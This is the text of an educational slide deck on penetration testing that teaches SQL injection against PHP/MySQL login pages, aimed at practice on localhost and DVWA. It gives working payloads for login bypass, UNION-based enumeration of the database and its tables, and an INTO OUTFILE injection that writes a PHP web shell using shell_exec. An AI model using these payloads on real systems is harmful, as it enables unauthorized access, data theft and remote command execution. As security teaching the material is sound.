Penetration Testing  Lab 

Abhinav & Yogesh

Disclaimer

• This presentation is intended for educational purpose only and I cannot be held liable for any kind of damages done, whatsoever to your machine, or any other damages. 
• Don't try this attack on any other system without having contextual knowledge or permission, this may harm someone directly or indirectly.
• Feel free to use this presentation for practice or educational purpose.

~ We aren't going to do this ~

Please feel free to stop when you have a doubt!

 Are you Ready to Rock ???

Agenda

•  Learn 
•  Hack   
  
•  Q  &  A

Objectives for this session

Myths, you'll hear - but Do you believe?

- Dev Team  - 

• Secure Socket Layer (SSL / HTTPS) protects my website.
• Buy this one tool and it will solve all my problems.
• We don’t have anything worth to be stolen.
• {Java - Insert Name here} is a secured language.
  
• We can't possibly be a target.
• We never had any data breaches on our organization and we are safe. Our technical team is much smart. #facepalm
• We have a firewall setup (WAF) - Nothing to worry! You wish 
• You're safer on a mobile site as compared to a desktop.
  
• Can come up with umpteen more!
  

 Tamper Google HTTP request! 

HTTP Header Flow

Modern websites rely on user input for everything.
They are basically applications which expect various kinds of inputs coming from users to function a certain way. 

 User Input? aha

What if this works? Umm

Myths

SQLi is old days' problem - I shouldn't worry about this.

^^

I am using Java / PHP / RUBY / ASP modern days' framework.

• X (to be read as "cross", meaning cross-platform)
• Apache HTTP Server
• MySQL
• PHP
• Perl

Targeted Application

Client Side language : HTML & Javascript
Server side Language: PHP
DB : MYSQL 

Why PHP ?  - Any answer Here?

Why MySQL?  MySQL is  Girlfriend of PHP <3 

PHP is used by 82.2% of all the websites as server-side programming language.

http://w3techs.com/technologies/overview/programming_language/all

PHP: 244M sites

2.1M IP addresses

Learning from the attack 1

User name is known i.e. 'admin'

<It simply works>

But you can't perform this attack without user name

Error Based SQLi

Demo

Cheat sheet

#Attack  - 1

SELECT * FROM `users` WHERE `username` ='admin' or '1'='1' and password ='I dont know'

Injection code :-

admin' or '1'='1

Why ?

Attack 1 is rely on 'User name'

SELECT * FROM `users` WHERE `username` ='admin' or '1'='1' and password ='I dont know'

Can't perform this attack on password field due to encryption.

User name = anything' or '1' ='1

password = anything' or '1'='1

* known User name is mandatory Here*

Concept

Basic SQL query Login page :-

SELECT * FROM users where username="username" AND password = "pass"

Basic PHP statement for Login page :-

SELECT * FROM users where username='".$username."' AND password = '".md5($pass)."'"  

*Md5() method is used to encrypt the password.

       * Demo at SQL *

Comments based SQLi

http://dev.mysql.com/doc/refman/5.1/en/comments.html

# : Single line comment

"-- " : Sequence to end of line comment

/*  Sequence to following block comment*/

(-- ) works for you buddy!

* --(space) is syntax 

admin' or '1' = '1' --:False 

admin' or '1' = '1' --  : True

Mostly people forget to add space, so I use below vector

admin' or '1' = '1' -- space + any one character

E.G. > admin' or '1' = '1' -- Sandy

if you get me - attack doesn't require user name now

 SELECT * FROM users where username="admin" or '1' ='1' # AND password = "pass"

SQL statement will be always true due  '1' = '1'  thus doesn't matter, you are knowing user name or not.

Yes - I am done. but what if '#' is not valid input?

Concept

Basic SQL query Login page :-

SELECT * FROM users where username="username" AND password = "pass"

What if  - I insert comments in first attack

SELECT * FROM users where username="admin" or '1' ='1' # AND password = "pass"

<< AND password = "pass" >> doesn't execute all

So, What do you think,

SQL is all about  1=1? 

ssshhh - Do you hear that? - NO

Dump Sensitive DB info

* Identify column gets selected.

* Identify the data set which value will be displayed.

a%' union select 1,2,3,4,5 from users #

a%' union select 1,@@datadir,2,3,4 from users #

a%' union select 1,@@version,3,4,5 from users #

Database Enumeration  

a%' union select 1,table_schema,2,3,4 from information_schema.tables  #

Table Enumeration

a%' union select 1,table_schema,table_name,3,4 from information_schema.tables  #

a%' union select 1,table_schema,table_name,3,4 from information_schema.tables  where table_schema='sqlhumla'#

Shell Injection

I want to save a MySQL query result to a text file like this:

SELECT * FROM orders INTO OUTFILE '/data.txt'

Shell Injection

'Hello world' PHP File Writing at current folder

=frodo' into outfile "../../htdocs/xampp/sqli/test.txt"; - a

Select * from users where username = 'frodo' union select 1,2,3,"<?php  echo "Hello World"; ?> ",5 from users into outfile '../../htdocs/xampp/sqli/shellTest.php';  -- a

PHP Shell code

<?php $output = shell_exec('Test'); echo '<pre>$output</pre>'; ?>

Append the same as SQL injection

user=frodo' union select 1,2,3, "<?php $output = shell_exec('test'); echo '<pre>$output</pre>'; ?>", 5 from users into outfile '../../htdocs/xampp/sqli/shell.php';  -- a

There you are!

http://127.0.0.1/xampp/Sqli/shell.php?test=dir

Play ground

Damn Vulnerable Web App

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment.

http://www.dvwa.co.uk/

https://github.com/RandomStorm/DVWA

Yes - I'm Done!